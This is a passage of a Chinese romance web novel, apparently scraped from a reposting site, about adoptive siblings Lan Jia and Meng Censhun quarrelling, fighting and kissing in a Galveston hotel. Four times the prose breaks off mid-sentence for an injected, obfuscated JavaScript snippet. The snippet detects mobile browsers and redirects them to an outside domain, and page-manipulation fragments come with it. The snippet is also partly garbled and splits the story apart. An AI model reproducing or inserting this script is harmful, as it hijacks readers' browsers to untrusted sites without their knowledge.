同一酒店,同一楼层,仅一墙之隔,却如同楚河汉界,咫尺天涯。 她越来越生气,越来越失望。 兰嘉想,他们像是双星系统的两颗天狼星,就算孟岑筠不在她身边,他的引力却无时无刻不在牵引着她,无法抗拒,无法抵挡。 一点也不公平。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861383|176043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间寂静,指针转得飞快。兰嘉高举着一只手臂,艰难洗澡,氤氲热气的蒸腾中,她又不自觉地叹了口气。 从迷朦水汽中脱身,她站在镜子前擦干身体,这才感受到鼻息间清凉的风。呼——吸——呼——吸,渐渐的,瘦削肩膀也开始颤抖起来,眼睛酸涩,鼻子酸涩,像是将全天下最酸的枳果捣浆成汁,一气喝下,从喉管一路酸下去,酸得五脏六腑都急剧收缩。 她忍了又忍,没哭出声,眼泪渐渐如雨滴。站不稳,佝偻着身体撑在台面上,掌心被一粒冰凉尖锐的石子咯得生疼。 揉揉滞涩双目,定睛细看,手心里不是什么石子,而是一枚袖钉,蓝宝石,蓝得像深海。先前隐没在大片蓝翡翠大理石台面上,无人发现。 兰嘉认出来了,这是孟岑筠的袖钉。 外面忽然响起敲门声。 兰嘉汗毛竖立的一激灵,心如擂鼓。她匆忙套好衣服,双腿作绊地赶到门口,触到把手,犹疑,又将脸上泪痕胡乱抹去,深呼吸几次,这才打开门。 看清来人,虚惊一场。 “大小姐。”面前的周覃露出一个温和的笑,“先生有东西落下,让我来取。” 兰嘉向他摊开手心:“这个?” 周覃点头。 何必如此大费周章?就这么不想见到她? 兰嘉脸孔蒙上一层阴翳。 “还给他!”她话语带气,将东西往周覃手里一塞。 周覃暗叹,这天底下怕是再没有比他们更别扭的两个人。要是没人从中调停,不知道又要相互怄气到什么时候才算完。 无奈,只得斡旋一二。 于是将袖钉重新交回兰嘉手中,苦口相劝:“大小姐,我认为,先生应该更希望你亲手交给他。” 兰嘉轻哼:“那他为什么不自己来?” 他总是高高在上,将人支使得团团转,真的很讨厌! 周覃笑了,笑得神秘:“大小姐,主动权掌握在自己手中,是不是会更好一些呢?” 兰嘉握紧手中钉,沉吟。 片刻过后,孟岑筠的房门被敲响。 一只骨节分明的手握在门把手上,顿了顿,打开。 依旧是周覃俊秀而熟悉的一张脸。 孟岑筠有些倦怠地抬起眼皮,望着他。 周覃面色凝重地摇摇头。没带来好消息。但他敏锐捕捉到了孟岑筠眼中一闪而过的失落。 “她怎么样。” “不太好,正委屈着。”周覃如实说。 孟岑筠敛眉,神情郁郁。 周覃心道:终归还是心疼妹妹。 有了几分成算后,他又出声:“大小姐交代我,早晨有东西落在您卧室,让我替她取。” “什么东西?” “说是什么手机挂件,好朋友送的。” 哪门子的好朋友?还与他存心怄气? 孟岑筠略显不快,但还是转身进去寻找。 眼见他背影远走,周覃唇角微勾,转头对视线盲区说道: “大小姐,可以出来了。” 11. 吻 孟岑筠回房扫视一周,并没有什么挂件的踪迹,心念一转,幡然醒悟。 神不知鬼不觉,竟被她摆了一道。不知从哪里越学越坏。 对于她这点小小的抗议,孟岑筠容忍度还算高,先前晾了她不少时,现在主动去看看她也未尝不可,毕竟他不是真的有心要同她冷战。尽管他对她中午的表现仍有介怀。 小孩子的惯例,见一个爱一个,遇见更喜欢的玩具,就把先前的抛之脑后。他可以包容她的冷性与无情,但他不允许自己被划分在列。 在孟岑筠眼里,他应该是给她买玩具的人,而不是陈列在橱窗展柜任她挑选的美丽玩偶。如果在她这里感受不到唯一性,他便要想方设法地提示她,警醒她。 他走出房间,无奈,有时候就连他也分辨不清,他与兰嘉,究竟是狼捉兔子的游戏,还是兔子逗狼。 一抬眼,却看见他追逐已久的那只兔子,竟大胆到登堂入室,主动挑衅。 兰嘉气势十足地坐在客室沙发上,见了他,冷着脸,高傲地抬起下巴。 墨绿沙发,白睡裙。 嗯,一只绒毛雪白,气鼓鼓的兔子。 孟岑筠目不斜视地走过去,坐在她对面。隔着一张炭灰圆茶几,电光石火,遥遥相望。 一时间,两人都没开口,僵持对峙起来。 他眼神如烛火幽幽,摄人魂魄,越久,兰嘉越是心如鹿撞。 但她仍然记得周覃的劝告,主导权,应该牢牢攥在自己手中。 不等了,兰嘉率先进攻:“今天我很不开心。” “因为你。” 孟岑筠双腿交叠,漫不经心:“哦?说来听听。” “你有什么不满可以直接和我沟通,不要为难其他人。” “你觉得我过分,想为他出头?” 兰嘉紧握着那枚袖钉,掌心冰凉咯硬,提醒自己冷静。 “他没做错什么,所有决定都是我一意孤行,迁怒他人未免也太不公平!” 她实在生气,气他蛮横,气他狡诈,气他明明答应过她不起矛盾,却转头将专制独裁这套用到别人身上,利用她对朋友的愧疚心,变相逼她妥协就范。 这世界上怎么会有这样一个处处压制她的人?孟岑筠,简直就是她的天敌! 事实证明,她从未错看过他的蛮不讲理,只见孟岑筠脸色一沉,眼衔着她,语气冰冷:“在我这里,没有公平,只有对错。” “你想要公平,你想维护他人,那好,等你长到我这个年纪,再来与我谈公平,谈条件。” “你……你,你怎么会变成现在这样?”兰嘉惊愕于他的不近人情。 孟岑筠冷笑,“我向来如此。” 他站起身,发号施令:“讨论结束,出去。” 兰嘉红了眼,一时气急:“我不!” 孟岑筠瞥她:“那你就在这儿耗着。” 他头也不回地走向浴室,末了,留下一句:“等我出来,不希望看到你还在。” 兰嘉目眦欲裂地瞪着他背影,气得呼哧呼哧。 孟岑筠关上浴室门,将身后尾随而至的怨气也一同关在门外。 冷静下来,不免暗自懊悔两三分。易兰嘉,总是轻易逼得他情绪失控,举止失常。他一直觉得愤怒是最无能的表现,可现在,制不住,管不了,仍旧觉得五中似沸,五内俱焚。今天她可以为了一个乔子穆,不分皂白地对他兴师问罪,那以后呢?是不是也会为了另一个外人将他弃如敝履? 很幽敝地,无数只细窄的蜘蛛在他身体里爬行,躁动,勾起最原始的妒忌之念。他开始暗怨兰嘉的固执与偏私,但同时,又害怕她不懂得他的口是心非,真的离他而去。 花洒下,冷雨急降,浇不灭心中郁火。 孟岑筠扯了条浴巾裹住身体,脚步匆匆,走到客室,又换作漫不经心姿态,扫视一眼沙发。只见原来的位置已经没有兰嘉。他暗自冷嘲一声,怨念又添一层,仿佛不是他赶她走,而是她先抛弃他。 无声的战役再次打响,看谁捱得过谁。 他再往前走,隐约听见呼气声,怪异,循声而至,到卧室门口,那气息更明显,呼哧——呼哧,呼哧——呼哧,犹如一把尖刀挑起他埋藏多年的恐怖记忆。 刹那间,孟岑筠心脏轰然,百骸震悚。他猛地闯进门去,见床上蜷缩着的白色身影,一种视线失焦的眩晕感涌上来,几乎令他一头栽倒。 他稳住身形,胆战心惊地跌到她身边,声音沙哑:“兰嘉……兰嘉?” 他轻轻碰她脊背,只见她这才翻过身来,看着他,目光清明。 “易兰嘉!” 她骗他。 她怎么能拿这种事骗他? 孟岑筠陡然阴沉脸,扯着她一只胳膊,将她拽起来:“你走!立刻走!” 兰嘉吃痛,尖叫一声,奋力挣扎。 “我不走!凭什么你说什么就是什么?你以为你是谁?” 孟岑筠不听,手如铁钳,紧箍她手臂,非要将她拉走不可。 体型悬殊,兰嘉被拽得身体腾空,犹如树木被连根拔起。她没有力量,唯有愤怒,顿时像只待宰的羔羊,拼命扑腾,拼命嚎叫,不死不休。纠缠扭打中,兰嘉两腿乱踢,泪花四溅,一边尖叫一边痛骂:“孟岑筠,你这混蛋!王八蛋!你再碰我一下,我跟你拼了!” “混账!谁教的你这些?”孟岑筠怒不可遏,厉声吼她。 兰嘉浑身一震,不可置信,“你骂我?你竟然骂我?”从小到大,就算再怎么拌嘴,他也从未骂过她一句。此刻听来,犹如万箭穿心,扎得兰嘉血气逆行,泪如泄洪。 她更加像发了疯似的,乱蹬乱踹,如同癫狂的野兽,穷途末路,一口咬在孟岑筠手上,狠狠地咬,咬得他倒吸凉气,脱力松手。 然而愤怒的人已经丧失理智,身上桎梏一消,报复心理疯长,她也不知哪来的力气,紧咬牙,将孟岑筠猛然扑倒,想到往事,恨他高高在上,恨他冷酷无情,于是怒火中烧,更加下定决心要将他傲骨折断,非要弄得他匍匐在地,向她求饶! 兰嘉使出全身力气压制他,撑着他胸膛,大着胆子跨坐在他腰腹上,如同被压迫太久的奴隶,倒反天罡地起了义。 虽然成功占据了制高点,但兰嘉只顾着反击刚才的那句恶语相向,像只毫无章法的幼兽,骑在他身上又踢又打,拳头如冰雹乱砸,兰嘉眼泪哗哗,翻来覆去地骂他:“混蛋!你怎么能这样对我?我恨你!我恨你!” “孟岑筠,你道歉!你必须向我道歉!” “你发疯了?”孟岑筠三两下就钳制住她,将她手臂反剪,压倒在身下。 “就为了个外人,你跟我发癫?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861384|176043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两句又尖锐地刺进她心里,搅得她疼痛欲呕,兰嘉大哭起来,神志不清地痛骂:“我是疯了,都是被你逼疯的!孟岑筠,以后你别管我了,就让我自生自灭好了。反正你从来不在乎我的感受,不在乎我,这下好了,你不是就轻松了吗?轻轻松松解决一个大麻烦,拖油瓶。” 她哭了一会儿,又笑,笑得特别悲凉。两人近在咫尺的距离,她通红着眼,恶狠狠地说:“要是我哪一天被你逼死了,你就等着孤独一生吧。” 孟岑筠静静凝视她半晌,眼瞳漆黑,镇定异常。兰嘉忽然噤声了。 又过了好半天,他才松开她的手,慢慢直立起身子,指着门口,面无表情:“易兰嘉,我管不了你了,你现在滚。” 兰嘉张目结舌,哭不出来,只得干咽气。 见她不动,孟岑筠加重语气,一字一顿地重复:“我,让,你,滚。” 兰嘉耳朵嗡鸣一声,什么也听不到了,逐渐模糊的视线里,只剩下他嘴唇的翕动。他让她滚,他让她滚!果然只有世界上最亲密的家人明白,怎样往对方身上捅刀子最疼。 她疼啊,四肢百骸都疼。 她要让他也这样疼。 孟岑筠神色更冷,张了张嘴,兰嘉想:他又要用怎样恶毒的话来中伤她?她实在没有勇气再听他说任何一个字了。 可是讲什么他才会听?他都不要她了。 兰嘉光想想,又要掉下泪来了,她憋着,忍着,嗔目切齿地盯着他,忽然坐起身来。 在孟岑筠愕然的目光中,她像一只横冲直撞的野兽,狠狠扑向他。 两个人的额头撞在一起,沉闷的一声响。 两个人的嘴唇也碰在一起,被她毫无章法地咬着。 堵住他的嘴,他就无法讲出伤人的话来了吧? 啃咬他的唇,他是不是就和她一样痛了? 她紧紧搂住他的脖子,不让他挣脱,尽管孟岑筠已经惊愕到忘记挣扎。 他整个人好像完全呆住了,兰嘉心里恨恨的,更加用力咬他嘴唇,咬到最后,两个人口腔里都弥漫着血液的甜腥。 她要他牢牢记住这感觉。 可他为什么还是没有反应? 他不应该愤怒地推开她,然后大骂着让她滚吗?毕竟她侵犯了、亵渎了高高在上的他。 她突然不敢放开他了,她怕看见他怨毒的表情。 一时冲昏头脑,一切全完了。 要不还是别停下来了? 他的嘴唇好像还挺软的,不像他脾气那样硬邦邦。兰嘉不自觉地走神了,忘了自己本就是来报复他,恶心他的。 接吻是什么感觉? 兰嘉从未体会过。 要不,试试? 她不咬他了,慢慢的,轻缓地舔舔他的伤口,紧接着,小心翼翼地在他唇瓣上辗转,紧接着,更为大胆地往更隐秘处探寻。见他没抗拒,便如入宝山,肆意探索。 好软,好温暖,如同被潮汐包裹,她沉浸其中,忘了时间,忘了缘由,忘了两个人才刚反目成仇。 不知道过了多久,孟岑筠动了,他偏过头,拒绝,紧接着用手指钳住她下巴,迫使她正视他。 兰嘉撞进他漆黑深邃的眼眸里。 见他表情严厉地审视她,质问道: “你跟谁学的这些?” 12. 苍白幽灵 兰嘉望着面前被她蹂.躏得嘴唇红肿的孟岑筠,竟然还能居高临下地质问她,不免气急。 刚才还是对他心软,她只恨自己咬得不够狠,不够重,就应该咬烂他的嘴,让他永远说不了话。 还能跟谁学的?还能跟谁学的?看看电影难道也有错?都是他从来不给她恋爱的机会,还有脸问?都怪孟岑筠!都怪他! 如此想来,兰嘉心中一团躁火,重重打开他的手,又无处可去——现在逃走太丢脸,于是整个人往后一仰,倒在床铺上装死,闭上眼不看他了。 “起来!”孟岑筠推她。 兰嘉不动,俨然扎根在床上。 见她如此顽固,孟岑筠冷着脸,摔门出去了。 尽管没用多大力气,但门还是砸出一声巨响,听者有意,两个人的神经都战栗起来。 兰嘉蜷缩在床上,冒冷汗,浑身如蚁噬一样疼痛。刚才同孟岑筠扭打的时候,手上伤口又裂开了,纱布上渗出血,红得触目惊心。 从前再怎样闹得乌烟瘴气,哪里动过这样的手?刚才打架的时候,什么身份,什么尊严,什么长幼,统统都抛却了,两个人化身死敌,如同受伤的困兽,在泥潭里争个你死我活,非压得对方服气不可。 兰嘉想,这不是普通的斗争,而是领地之争,主导权之争,既然这个家只能由一个人做主,那兰嘉就要让他知道,她要抗议,她不服他,她不是没他就不行了! 虽然她挂了彩,但他也没好到哪里去。兰嘉想到刚才在他手臂上咬的那一口,卯足了力道,咬得他鲜血淋漓,顿时心中畅快两分。她没输他,甚至可以说,她占了上风。 兰嘉沉浸在即将胜利的喜悦与疼痛中,悠悠的,缓缓的,意识模糊地阖上眼皮。 身体虚浮,神游天外,游至一片茂密森林,参天的一颗红豆杉上传来笃笃声,一只啄木鸟正在卖力工作,有节律地笃——笃——笃,往她身上笃——笃——笃,兰嘉给疼醒了,这才分辨出是敲门声。她又腾地爬起来,严阵以待。 只见门开了,却不是孟岑筠。 先前的医生姐姐提着箱子进来,对她笑了笑:“我来给你看看伤。” 兰嘉道谢,麻烦她这么晚了还跑一趟。 她盘腿坐在床上,伸出手来接受检查,医生见了,蹙着眉:“才刚好一点,注意些,反反复复的,会留疤。” 听她关切言语,兰嘉闷闷地应了声。不是她不想注意,实在是火气上头顾不上这许多。 转念想到孟岑筠,他竟然肯给她请医生?兰嘉心中滋味难辨,小声问道:“他呢?” 医生用蘸上碘伏的棉签替她消毒,回答:“他伤得比你严重。” 兰嘉不说话了。 医生心道:这两个人真是奇怪,一个急匆匆请她上门,又百般嘱托她小心细致,临了却避而不见。一个心中关切,神色愧悔,却故意敛藏。明眼人都能看出彼此在意,二人偏偏将对方蒙在鼓里。 想到自己年轻时恋爱也是这般,心高气盛,不肯低头,仿佛比对方多爱一分就落了下风似的。 又见兰嘉眼中含泪,神情郁郁,难免触动怜悯心肠,决定试她一试,稍做调停。 “他打你了?”医生问。 兰嘉摇头,反倒是她一直对孟岑筠又踢又打。 “那他一定是骂你了。” 兰嘉迟疑地点了点头,但好像是她先骂他的。孟岑筠从来不许她说脏话,她要反叛示威,因而骂得尤其难听。 医生暗中加大火力,认真给她出主意:“不如我替你报警,替你作证,让警察以家暴罪名将他逮捕?” 这下兰嘉将头摇得像拨浪鼓。 “不要。” 其实这事兰嘉不占理,若是经过调查,判定她为罪魁祸首,岂不要她去坐监狱?毕竟孟岑筠身上还有她留下的罪证。 医生笑了:“对嘛。大事化小,各退一步,岂不好?” “其实谈恋爱没什么难的,怕就怕在双方都不肯低头,时间久了,就算再相爱的两个人,也会寒了心,淡了情。” 兰嘉疑心自己听错,尴尬道:“其实,我们是兄妹。” 这下轮到医生愕然,难道是她误解?可自十几岁有了恋爱经验起,她不信她会错判。 她狐疑地望了望兰嘉,越看,越想,却越觉得不对劲,心里给这两人悄然蒙上一层禁忌色彩的阴影。 这事她管不了。医生她不劝了,默然地为兰嘉处理好伤口,避而远之。 以至于后来为孟岑筠看伤时,见到他嘴唇破皮之处,目光格外异样了。 包扎完后,兰嘉莫名沮丧,又一头栽倒下去。 孟岑筠这次不会原谅她了。 她对他犯了不可赦免的罪。 控制不住想到刚才那个吻,她仍然清晰地记得每一个细节。湿滑,柔软,晕眩,很莫名的,她脑海里蹦出几个字。 食髓知味,难消难解。 忘记是从哪部电影里看来的台词了。 但她着实吓了一跳,脸如火燎,心中奇窘。 兰嘉埋头在枕头上,塞窒地想,她一定要向孟岑筠解释,她不是那个意思,要向他解释,解释…… 她困倦地耷拉着眼皮,刚才那一番闹腾,着实消耗了不少体力。她实在太累了,可她想等他回来。 他为什么还不回来?难道又要睡沙发?小气鬼,有本事就躲她一辈子。 又疼又困,等到最后,开始没耐心地暗骂他:笨蛋、混蛋、王八蛋、各种蛋…… 不知过了多久,房门才浅开了一条缝。 见里面没动静,孟岑筠轻声走进来。 兰嘉已然熟睡了,整个人向下趴,毫无章法地霸占着他的床。 这算什么?他三十岁了,没耐心再跟不听话的小孩僵持,他需要睡眠,他需要蓄足精力去处理一大堆令人头疼的麻烦事,他才不想要再睡一晚上硬邦邦的沙发。 孟岑筠气闷,径直走过去,躺上狭窄的空余地。 床头小灯还亮着,暖意昏昏。 身旁人呼吸轻浅,无法忽视。 他侧过头去看她,见她半张脸陷在枕头里,睫毛软软搭在眼下,被灯光映得纤薄,如同半透明蝶翅。头发却是乱糟糟,刚才一通折腾,如同鸟窝。此刻酣眠着,却像是巢穴里的一只小鸟,不再叽叽喳喳闹得他头痛。 孟岑筠静静凝视她,心想:就这样毫无防备? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861385|176043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是,她永远长不出一颗防备之心,她永远在意其他人胜过他。 而如今,她开始帮着外人一起欺负他。 手臂上几乎要被她咬掉一块肉,他是养出了怎样一个茹毛饮血的野兽? 浓重的愤怒退去,现在只剩下苍凉的失望,如同白崖千万年孤寂的礁石。 易兰嘉。他是真不知道该拿她怎么办才好。 明天再想,明天再解决这一切,他也实在是累了。 孟岑筠伸手揿灭灯,平躺,闭上眼睛。 两个人都偃旗息鼓了,休战了,难得平和地躺在一起。 二人包裹着纱布的手紧挨着,一个伤在左手,一个伤在右手,一个掌心向上,一个掌心向下,脆弱地,微凉地贴在一起。 黑暗中的两只苍白幽灵。 他与易兰嘉,永远分不开的。 入睡前,孟岑筠模模糊糊地想。 脑海里印着这个名字,他也就做了一夜的梦。 梦到兰嘉小时候挑食,不爱吃的都扔到他碗里,笑嘻嘻地对他说:“哥,我们喜欢的东西好像永远相反。”稍大一点的兰嘉,拿着一柄镜子侧过来侧过去地照,夏令营回来,颧骨上冒出一粒雀斑,苦恼。见他在身侧,便将镜子伸过来,“哥,我看看你脸上有没有斑。”镜面映出两人贴在一起的脑袋,眉眼浓淡分明,“哥,我们好像连长相也没一点相似。”她有些沮丧地说。 “哪里不一样?不都是眼睛鼻子嘴巴。”他从来不觉得他与兰嘉有什么差异。就算有,他也要拿着放大镜找出一处相同之处向她证明。 “头发也不一样,为什么我的发色比你浅这么多?” “那是因为你挑食,营养不良。” “眼皮褶皱也不一样诶,我的双眼皮怎么是窄窄的一条?” “是不是又熬夜了,眼睛肿了?” 他找遍所有理由,就是不愿意承认他们没有血缘。世界上最亲密的感情都被一条血液的纽带维系在一起,他不敢去想,剥离兄妹名分这层外壳,他与兰嘉还剩下什么。 他不要和她成为陌生人,他不要再孑然一身地走在雨夜里。 画面一转,却是艳阳天,兰嘉跑过来,依旧是穿着今天这身白裙子,轻薄飘逸的纱质,领口缀着一圈小花朵。 她眼中笑意狡黠,同他讲:“哥,我终于发现我们的共同点。” “什么?”他茫然。 她两只胳膊挂住他,飞快地,不分由说地吻上他。 他怔住,怔住……像尊僵直木偶。 不知过了多久,兰嘉放开他,得意洋洋:“接吻时要闭眼,对吗?” 是的,刚才他闭眼了。今天……也闭眼了。 紧接着,她黑白分明的眼睛眨动,问他:“哥,这是你的初吻吗?” 他看着她,长久地沉默着。 只见她怒目一瞪,两手将他奋力一推,孟岑筠身上一凉,整个人跌进泳池里。 乌云蔽日,光线黯淡,再回神,却是兰嘉在抢他被子。 他整个人凉飕飕地躺在床上,望着漆黑的天花板许久,心想:他怎么可能告诉她呢? 他怎么可能告诉她…… 13. 弱点 一床的被子都被她蛮横地抢去大半,向旁边滚,卷成一只胖乎乎的毛毛虫。过了一会儿,又无意识地滚过来,额头抵靠着他肩膀,呓语了两声,不动了。 还同小时候一样没睡相,孟岑筠叹气,伸手将她压在身下的被子扯出来,盖住她着凉的肚子。 兰嘉只觉得又回到了家里,她的大床另一侧永远放着只巨大的毛绒熊,是相熟同学送给她的生日礼物。 孟岑筠一直觉得绒毛会引发她哮喘,几次三番想扔掉它,可兰嘉却很珍惜,一个人睡空荡荡的大床多没意思,她迷恋拥挤的感觉,被心爱的事物全方位包裹起来,填满她,埋葬她,窒息致死也甘愿。 可现在抱着的这只熊,好像手感不对,硬邦邦的,却暖乎乎的,像在太阳底下烘烤得过头的老棉被。 晨光已经熹微了,她抱着这床老棉被睡了一夜。 兰嘉悠悠醒转过来,第一眼见到近在咫尺的人脸,吓了一跳,不可置信地眨了好几次眼,看清是孟岑筠后,更是大惊失色。 可她现在,胳膊腿都紧紧缠绕在他身上,一只没骨头的八爪鱼。孟岑筠倒是没醒,只是眉头微蹙,像是被这重量压得呼吸不畅。 他为什么会在床上?不对,这好像本就是他的床。兰嘉心里臊然,想趁他不注意偷偷开溜,才小心翼翼撤回一条腿,却没想到他突然睁开眼,盯她。 兰嘉一激灵,席卷着被子往后跌坐,见他也坐起身,像只立蛇一样盯视她,顿时又往后挪了两寸。 孟岑筠面无表情地提醒:“易兰嘉,你要掉下去了。” 她回头,果然看见自己离床沿只一线之隔。 骑虎难下,进退两难。 孟岑筠要兴师问罪了。 她躲不了。 兰嘉抱着膝盖,浑身凌乱地坐在一团皱巴巴的被子里,低眉垂眼,等他发落。 等了半天,却不见他出声,谨慎地抬眸瞥他一眼,见他靠在床头,拧着眉心,像是很累似的。这让兰嘉回想起小时候,孟岑筠每次给她辅导数学题时,也是这样沧桑的表情。 再看他一眼,又见他手腕裹着一段雪白纱布,映着他苍白皮肤,竟为他增添几分罕见的脆弱情态。 是她的杰作。 昨天,她也不明白自己为什么发那么大的脾气。 现在冷静下来,深深懊悔。 不管和他闹到何种地步,她终究不想毁掉这个家。 这个由她与孟岑筠,千辛万苦建立起来的家庭。 兰嘉咬咬牙,终究还是决定顾全大局。 “对不起。” 孟岑筠顿住手,掸眼看过来,不语。 见他仍不为所动,兰嘉捏捏拳,艰难出声: “哥,我错了。” 他轻哼,冷冷的。 “错哪儿了?” “我不该骂人……不该无理取闹,不该动手……”好像不对——她动的是嘴。 他貌似并不满意,眼神示意她继续。 兰嘉无奈,硬着头皮:“我……我不该对你说那样过分的话,哥,你不会孤独一生的,我说那些都不算。” 孟岑筠沉默,微不可查地黯然着。某种意义上,或许她说得没错。 还不动容?她都这样恳切,低三下气地道歉了,莫非是铁石心肠? 兰嘉气闷,也连带没耐心起来,决定想个办法夺回主导权。 她垂眸,眼珠狡黠乱转,略一思索,换作一副讨好笑意。 兰嘉大着胆子挪到他身边,跪坐着,故作懊悔地对他说:“还有一件事,我千不该万不该。” 孟岑筠等她说下去。 “哥,是我的错,我不应该侵犯你……”他敏锐地瞪她,眼神警告,兰嘉一笑,话锋一转,“不该侵犯你高高在上的威严。” 孟岑筠看上去好像更生气了。兰嘉暗笑,觉得他是恼羞成怒。 “行了,别在我面前晃,昨天闹得乌烟瘴气也不嫌累。”他赶她,眼不见心不烦。 才占据一点上风,兰嘉哪里肯依,不得到他一句准话,这事就不算彻底揭过去,于是愈发闹腾,抓住他一只手又摇又晃:“哥,你原谅我了没?你原谅我好不好?” 孟岑筠板着脸,像看着满地撒泼打滚要买玩具的孩童,无情地重复:“你走不走?” “不走!我要亲口听你说。”兰嘉耍赖皮的功力见长。 对付不听话的小孩唯有使用极端手段,好让她觉得任性无法达到目的。 孟岑筠拧紧眉,沉声警告:“再胡闹,下个月的零花钱没有了。” 兰嘉瘪着嘴,眼里立刻汪着泪,仍然不信邪,不放手。 却没想到他忽然将手臂狠狠一抽,兰嘉讶异地睁大眼,被这突然的力道带得往前一掼,整个人软趴趴地摔到他身上。 她还是怕他,怕他的温度,像条铁板上烤得滋滋作响的鱼,条件反射挣扎,一只手不知道往哪里按,总算借力撑起身,却陡然对上一张盛怒的面容。 只见孟岑筠咬着牙,一字一顿地训斥:“易兰嘉,滚下去!” 她呆住,定望他几秒,耳畔爬上一抹诡异的红,像失了智般,魂不守舍地飘下床,连鞋都忘记穿。 孟岑筠烦躁地扯过被子一角。 兰嘉急匆匆跑回房间,“砰”地关上门,背靠着墙壁大口喘息,仍然觉得五内似焚。 刚才,她又不小心对他犯了罪。 这下好了,她完全是十恶不赦,罪无可恕了。 兰嘉滑溜溜地瘫软在地。 等到两侧脸颊的烧烫感渐渐退去,她才恍然大悟。 她好像找到孟岑筠的弱点了! 一直到中午,孟岑筠那边还没动静,仿佛存心避着她似的。兰嘉心思活络起来,更加认为此招可行,士气愈发高昂。从今往后,她要耐心筹谋,非将孟岑筠斗败不可! 午餐是和乔子穆一起吃的,才一个晚上不见,他似乎憔悴了不少,兰嘉见了,心中更加过意不去。 “你哥他,没为难你吧?”乔子穆惴惴不安地问。昨天兰嘉那样维护他,他怕孟岑筠秋后算账。 兰嘉叉了一块牛肉放进嘴里用力嚼,像是泄愤。 “我和我哥打了一架。” “什么?”乔子穆双目圆睁。 “就是你听到的那样。”想到昨天的战绩,兰嘉忽然兴奋起来,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861386|176043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小乔,你放心,以后我会护着你的,再没人敢欺负你。相信不用多久,我就可以自由了,想去哪儿就去哪儿,想做什么就做什么,不用跟任何人汇报。” 乔子穆见她眼放异光,言辞激昂,更是听得疑云密布,怕她又冲动一头热,蹙眉轻劝:“兰嘉,你不要做傻事。” 兰嘉神秘一笑:“你就放宽心吧,我自有分寸。” 乔子穆狐疑,心里总有种微妙的糟糕预感,摸不着,猜不透,只好先静观其变。 风暴停歇,加尔维斯顿上空放晴,天色一片大好。 下午周覃来敲门告知,说飞机已经安排妥当,计划傍晚时启程回国。 兰嘉主动问起孟岑筠踪迹。 周覃只是笑笑,“先生在忙。” “小覃哥,你觉得他现在心情怎么样?”兰嘉好奇追问。 周覃像堵密不透风的墙,微笑,“抱歉大小姐,我也猜不透先生的心情。” 兰嘉见他口风忽然收紧,心想,昨晚伙同他一起做戏的事一定被发现了。孟岑筠警告他了?该不会要扣他工资?这样想来,又开始对周覃产生愧疚,越看越觉得他笑容十分苦涩。 兰嘉决定不再为难他了,真诚地向他道了个谢。 周覃点头,临走时若有所指地留下一句:“大小姐,我认为,先生他应该没生气。” 兰嘉对他露出一个真心的笑,感恩有他这么个贴心的好盟友。 暗地里却是恶魔微笑,不管孟岑筠怎样躲,他们终归抬头不见低头见。 行李已由人打点完毕,兰嘉问乔子穆要不要和他们同乘,他苦笑着拒绝了,表示自己已经买好回国机票。兰嘉没挽留,觉得他和孟岑筠还是不要碰面为好。 乔子穆的航班时间早一点,兰嘉独自到酒店门口送他。 告别时,他捏了捏兰嘉手指,依依不舍,“明天见。” 兰嘉笑他,让他快走。 “每天见面,好不好?” 兰嘉早已习惯他这副扭扭捏捏的样子,将他往车里推。 在她催促下,他终于松了手。 汽车缓缓启动,他隔着车窗玻璃回头望了好久,直到兰嘉的身影彻底消失。 兰嘉心中怅然若失,面前又开过来一辆黑色轿车,酒店服务生正将她与孟岑筠的行李箱搬运上车。 她回头,恍然发现孟岑筠正立在她身后不远处。 刚才,不知道他看到多少。 夜幕将要降临,飞机尾翼的灯光闪烁着,如同一只自由之鸟飞向暗蓝色天空。 机舱内,兰嘉与孟岑筠各执一方,相对而坐。 除了飞行时轻微的隆隆声,两个人都沉默着不说话,气氛诡异,却又莫名的和谐。 飓风中的加尔维斯顿是座孤岛,他们在狭小的空间里相依、相伴、矛盾、争吵、贴近彼此最鲜活的姿态。 